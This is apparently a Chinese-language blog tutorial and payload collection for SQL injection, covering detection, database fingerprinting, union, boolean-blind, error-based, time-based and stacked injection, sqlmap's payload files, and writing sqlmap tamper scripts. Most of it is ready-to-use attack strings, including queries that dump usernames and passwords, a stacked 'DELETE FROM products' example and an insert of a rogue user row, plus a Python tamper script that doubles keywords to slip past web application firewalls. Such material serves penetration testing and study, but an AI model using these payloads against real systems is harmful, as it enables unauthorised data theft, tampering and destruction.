SQL注入payloads
一、sql注入payload收集
1、檢測注入
a、注入字符串數(shù)據(jù)
1.插入單引號
http://xxx.xxx.com/?id=xxx' #觀察是否造成錯誤,或者是否與原結果不同,
2.插入雙引號
http://xxx.xxx.com/?id=xxx" #數(shù)據(jù)庫用兩個單引號表示轉義序列,表示一個原義單引號,如果導致錯誤或者異常,可能存在注入
3.用連接符構造一個等同原來的字符的輸入
mysql :' 'foo[注意兩個引號之間的空格] mssql :'+'foo oracle :'||'foo #這些輸入都等同于foo,觀察如果和foo的反應一樣,可能存在注入
b、數(shù)字型檢測
1.構造一個和原來的數(shù)字相同的數(shù)字表達式,如果做出相同的響應,則可能收到注入
http://xxx.xxx.com/?id=2 http://xxx.xxx.com/?id=3-1
2。使用ascii命令
http://xxx.xxx.com/?id=2
http://xxx.xxx.com/?id=67-ASCII('A')
http://xxx.xxx.com/?id=59-ASCII(1)#如果單引號被過濾,可以使用字符等
3.添加邏輯判斷
http://xxx.xxx.com/?id=2 and 1=1 http://xxx.xxx.com/?id=2 and 1=2 #觀察頁面響應是否會不同 http://xxx.xxx.com/?id=xxx and '1'='1 http://xxx.xxx.com/?id=xxx and '1'='2 #如果是字符串,則添加單引號,判斷是否會發(fā)生不同
4.添加sleep()函數(shù)
http://xxx.xxx.com/?id=xxx and sleep(5) 在參數(shù)后添加 and sleep(5) 然后觀察頁面響應時間是否明顯變長,或直接在開發(fā)者工具中網絡選項卡下觀察 頁面的響應時間。如果頁面響應時間確實按照我們的要求增加了5秒,則說明此處存在注入漏洞,我們可以考慮 通過延時注入。
c、判斷數(shù)據(jù)庫類型(利用數(shù)據(jù)庫特性)
1.根據(jù)不同數(shù)據(jù)庫的連接方式,構造一個字符串,然后測試不同連接方式,如果得到相同的結果,就可以確定數(shù)據(jù)庫是哪個數(shù)據(jù)庫?
mysql :'serv' 'ices'[注意兩個引號之間的空格] mssql :'serv'+'ices' oracle :'serv'||'ices'
2.如果是數(shù)字型,可以利用下面的方法,數(shù)據(jù)可能只有在特定數(shù)據(jù)庫才成功,其他數(shù)據(jù)庫可能報錯
mysql:CONNECTION_ID()-CONNECTION_ID() MSSQL: @@PACK_RECEIVED-@@PACK_RECEIVED oracle: BITAND(1,1)-BITAND(1,1)
3.判斷數(shù)據(jù)庫類型時,關于MySQL如何判斷行內注釋也是一個關注點
如果一個注釋以感嘆號開頭,然后是數(shù)據(jù)庫版本字符串,只要數(shù)據(jù)庫的實際版本高于或者等于該字符串,就會把注釋內容解釋為sql,否則,當注釋處理
例如: /*32302 and 1=2*/
2、利用注入
在確定存在注入點后,就可以開始注入了
a、union注入
需要滿足兩個條件:查詢前后字段數(shù)相同,字段類型兼容
1.判斷多少列
可以使用order by,[order by]語句的作用是按照某一列進行排序,在MySQL數(shù)據(jù)庫中我們可以使用數(shù)字來代替對應列的列名,如果數(shù)據(jù)庫中沒有對應的列,就會報錯。所以我們可以通過依次增加數(shù)字,直到報錯,然后報錯前的數(shù)字就是表的列數(shù)。
例如 :order by1正常order by 2正常order by 3報錯,那就說明有兩列
2.判斷類型
判斷出字段數(shù)之后,判斷哪一個字段可能是字符串類型
union select 'a',null,null union select null,'a',null union select null,null,'a' #因為null和任意的類型兼容,所以每次替換掉null的位置, #當確定某一列是字符串類型后,就可以提取數(shù)據(jù)了 union select @@version,null,null union select banner,null,null from v$version--#oracle數(shù)據(jù)庫中
注:在oracle數(shù)據(jù)庫中,每個select語句后面必須包含一個from屬性,所以,無論列數(shù)是否正確,
union select null會產生錯誤,因此,可以使用全局可訪問表dual滿足這一要求
union select null from dual --
3.提取有用數(shù)據(jù)
在mysql,mssql和sqllite數(shù)據(jù)庫中均支持information_schema
union select table_name,column_name ,null from information_schema.columns--
在Oracle數(shù)據(jù)庫中,不支持information_schema,可以使用all_tab_columns來檢索
union select table_name,column_name from all_tab_columns where column_name like '%pass%'
還可以使用連接符將多個字段連接,這樣就只需要確定一個varchar()類型
mysql: select concat(table_name,':',column_name) from information_schema.columns mssql: select table_name+':'+column_name from information_schema.columns oracle: select table_name||':'||column_name from all_tab_columns
b、布爾盲注
盲注就是頁面不會顯示查詢錯誤的回顯,我們可以判斷頁面中是否有布爾狀態(tài)來嘗試進行布爾盲注。
1.判斷是否有布爾狀態(tài)
http://xxx.xx.xxx/?id=1 and 1=1 http://xxx.xx.xxx/?id=1 and 1=2#如果兩次響應有不同,則存在布爾狀態(tài)
2.判斷存在之后就可以提取數(shù)據(jù)了
http://xxx.xx.xxx/?id=1 and length(database())=1 --+ #不斷變換后面的數(shù)字,直到長度等于數(shù)據(jù)庫長度顯示正常,就可以確定數(shù)據(jù)庫長度 http://xxx.xx.xxx/?id=1 and substr(database(),1,1)='s' --+ #通過截取字符串函數(shù),一次一個字符的就可以確定數(shù)據(jù)庫名 http://xxx.xx.xxx/?id=1 and ASCII(substr(database(),1,1))=67 --+ #如果過濾掉單引號,可以嘗試用ascii來確定
c、報錯注入
報錯注入的原理是構造錯誤的或者不符合規(guī)范的sql語句,讓查詢結果顯示在報錯信息中
在mysql版本》5.1.5中,可以使用extractvalue()和updatexml()兩個函數(shù)
1.extractvalue()報錯
extractvalue(xml目標文檔,xml路徑)
xml路徑參數(shù)是我們操作的地方,正常格式是/xx/xx,如果不是正常格式,就會報錯,報錯信息中可能返回我們的查詢內容,而這就是我們的目的
如果是正常的格式,即查詢不到也不會報錯,下面進行測試

接下里我們開始構造非法格式的sql語句,看看我們能夠得到什么信息,正常格式為/xx/xx/,所以我們非法格式可以嘗試 \ , ~ 來使sql語句變成非法格式。

現(xiàn)在可以進一步深入利用,配合concat()函數(shù)進行使用
extractvalue(1,concat(0x5c,(select database())))#得到庫名 extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'))) #獲取表名 extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #獲取字段名 extractvalue(1,concat(0x5c,( select group_concat(username,0x3a,password) from users))) #獲得數(shù)據(jù)
2.updatexml()函數(shù)
updatexml函數(shù)和extractvalue()函數(shù)相似,他是更行文檔的
語法:
updatexml(目標xml文檔,xml路徑,更新的內容)
和extractvalue()相同的是都是對第二個參數(shù)進行操作的,通過構造非法格式的查詢語句,來使其返回錯誤的信息并將其更新出來。
正確的updatexml返回數(shù)據(jù)

構造錯誤的updatexml

開始爆數(shù)據(jù)
updatexml(1,concat(0x7e,(select database())),3)#得到庫名 updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql')),3) #得到表名 updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user')),3) #得到字段名 updatexml(1,concat(0x7e,(select group_concat(table_name,0x3a,column_name) from user)),3) #得到數(shù)據(jù)
3.mssql報錯注入之convert()
在mssql報錯的時候,可以使用convert()函數(shù)
語法:convert(轉換為目標類型,待轉換的值,輸出格式)
原理:convert(int,@@version),convert 函數(shù)?先會執(zhí)?第?個參數(shù)指定的SQL查詢,然后嘗試將查詢結果轉換為int類型。但是,由于這個SQL查詢的結果是varchar類型,?法進?指定的轉換,所以,convert函數(shù)會拋出 ?個SQL server錯誤消息,指出“SQL查詢結果”?法轉換為“int”類型,這樣的話,攻擊者就能得到的這個SQL查詢的結果了

獲取庫名

CONVERT(int,(select top 1 table_name from information_schema.columns))#獲取表名 convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制的表名 as varchar))) #獲取字段名
d、延時注入
和布爾注入類似,延時注入用于在沒有回顯的時候,通過頁面響應時間來確定輸入是否正確,可結合burp分析。
1、mysql延時注入
在MySQL數(shù)據(jù)庫,用到的延時函數(shù)是sleep(),比如sleep(5)表示延時5秒,利用時可以搭配if()函數(shù)
if(表達式,值1,值2)
表達式為真,返回值1,否則返回值2
if((length(database())=8),sleep(5),1) --+
#如果數(shù)據(jù)庫長度為8,則延遲五秒,否則返回1
if((substr(database(),1,1)='s'),sleep(5),1) --+
#通過延時,一次一個字符的確定數(shù)據(jù)庫名
and if((select count(table_name) from information_Schema.tables where table_schema=database())=6,sleep(5),1) --+
#獲取當前數(shù)據(jù)庫的表的數(shù)量
and if((select length(table_name) from information_Schema.tables where table_schema=database() limit 0,1)=6,sleep(5),1) --+
#獲取第一個表的長度
and if(ascii(substr((select table_name from information_Schema.tables where table_schema=database() limit 0,1),1,1))=108,sleep(5),1) --+
#獲取表名的第一個字符的ASCII碼
#獲取列名的方法和獲取表名的相似
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
#意思是如果user第一個字符的ASCII碼>128則延時五秒,否則返回1.
2、mssql延時注入
mssql數(shù)據(jù)庫用到的延時命令是waitfor delay
例如if(select user)='sa' waitfor delay '0:0:5'表示如果當前用戶是sa則延時五秒
if(ascii(substring(db_name(),1,1)))=67 waitfor delay '0:0:5'表示如果數(shù)據(jù)庫第一個字符ascii是67,則延時五秒
e、堆疊注入
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續(xù)構造下一條語句,會不會一起執(zhí)行?因此這個想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句為: Select * from products where productid=1;DELETE FROM products當執(zhí)行查詢后,第一條顯示查詢信息,第二條則將整個表進行刪除。
堆疊注入的局限:mysqli_multi_query()函數(shù)執(zhí)行一個或多個針對數(shù)據(jù)庫的查詢.多個查詢用分號進行分割.(有這個才能進行堆疊)分號我們可以加入新的語句。
在通過前文所述的幾種注入獲得基本的庫名,表名以及字段之后,就可以開始操作
例如:
我們在通過其他注入方法獲取到信息后,插入一條數(shù)據(jù)
?id=1';insert into user(id,username,password) values(39,'xusiling','123')--+


二、sqlmap的payload
1.sqlmap自帶的payload文件在哪?有哪幾種?
首先sqlmap自帶的payloads在安裝位置下的data/xml/payloads文件夾下面
共有六種類型

分別為布爾注入、報錯注入、內聯(lián)注入、堆疊注入、延時注入、union聯(lián)合注入
2.分析sqlmap的payloads
a、payload生成原理
打開一個xml文件,分析payloads

可以看到xml文件中,是用各個標簽定義payload的,包括在哪里執(zhí)行等,其中主要的有<level>標簽,即sqlmap探測水平,
<clause>標簽即payload哪里工作

<where>標簽:1表示添加payloads到原來的值后面
2表示用隨機值替換原來的值,然后加上payloads
3表示用payloads替換原來的值
<request>標簽里面又有很多子標簽,<payload>標簽是最核心的paylaods
<response>標簽是如何檢測注入是否成功
b、通過日志分析payloads
首先打開apache的log日志,然后清空,接著用sqlmap掃描,然后分析日志
首先通過union查出列數(shù)

然后爆破數(shù)據(jù)庫名
?id=-4155' UNION ALL SELECT NULL,(SELECT CONCAT(0x71767a7871,IFNULL(CAST(schema_name AS CHAR),0x20),0x7171627671) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL-- -
用到的函數(shù)
concat()用來連接字符串
IFNULL(expression_1,expression_2);如果expression_1不為NULL,則IFNULL函數(shù)返回expression_1; 否則返回expression_2的結果。
cast(expression AS datatype)將表達式expression轉換成datatype的數(shù)據(jù)類型
然后通過變換limit后面的數(shù)字來確定數(shù)據(jù)庫名

id=-6930' UNION ALL SELECT NULL,CONCAT(0x71767a7871,(CASE WHEN (VERSION() LIKE %MariaDB%) THEN 1 ELSE 0 END),0x7171627671),NULL
通過CASE WHEN (VERSION() LIKE %MariaDB%) THEN 1 ELSE 0 END判斷數(shù)據(jù)庫的類型
三、sqlmap的tamper腳本
1.sqlamp有哪些自帶的腳本
|
腳本名稱 |
作用 |
apostrophemask.py |
將引號替換為utf-8,用于過濾單引號 |
base64encode.py |
替換為base64編碼 |
space2plus.py |
用加號替換空格 |
nonrecursivereplacement.py |
用雙重替換掉原來的關鍵字,繞過簡單的關鍵字過濾,例如seleselectct |
space2comment.py |
將空格替換為/**/的內聯(lián)注釋 |
space2mysqlblank.py |
將空格替換為('%09', '%0A', '%0C', '%0D', '%0B') |
equaltolike.py |
將>替換為GREATEST,繞過對>的過濾 |
ifnull2ifisnull.py |
將 ifnull() 函數(shù)轉為 if(isnull()) 函數(shù),用于過濾了 ifnull 函數(shù)的情況 |
informationschemacomment.py |
在 information_schema 后面加上 /**/ ,用于繞過對 information_schema 的情況 |
2.sqlmap的tamper腳本的編寫
a、腳本用法
sqlmap是一個自動化的SQL注入工具,而tamper則是對其進行擴展的一系列腳本,主要功能是對本來的payload進行特定的更改以繞過waf。 使用方法:
sqlmap.py XXXXX -tamper "模塊名"
b、腳本的格式
from lib.core.convert import encodeBase64#導入所需的模塊
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
#priority定義腳本的優(yōu)先級,用于有多個tamper腳本的情況。如果你加載多個tamper,誰的優(yōu)先級高,
#誰被優(yōu)先使用。(優(yōu)先級共有七個,分別為;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
def dependencies():
pass
#dependencies函數(shù)聲明該腳本適用/不適用的范圍,可以為空
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
#tamper是主要的函數(shù),接受的參數(shù)為payload和**kwargs。返回值為替換后的payload。payload參數(shù)是sqlmap
#進行自動注入時的sql語句,要替換的就是payload,來完成想要的繞過。kwargs是修改http頭里的內容函數(shù)。
return encodeBase64(payload, binary=False) if payload else payload
c、腳本的編寫
sqlmap的tamper腳本是用python程序寫的,寫好之后放在tamper文件夾下就可以生效
示例:由于目標過濾了關鍵字用sqlmap失敗

既然過濾了關鍵字,可以使用雙重繞過
比如過濾了union ,可以編寫uniunionon繞過
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
result = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")
return result



浙公網安備 33010602011771號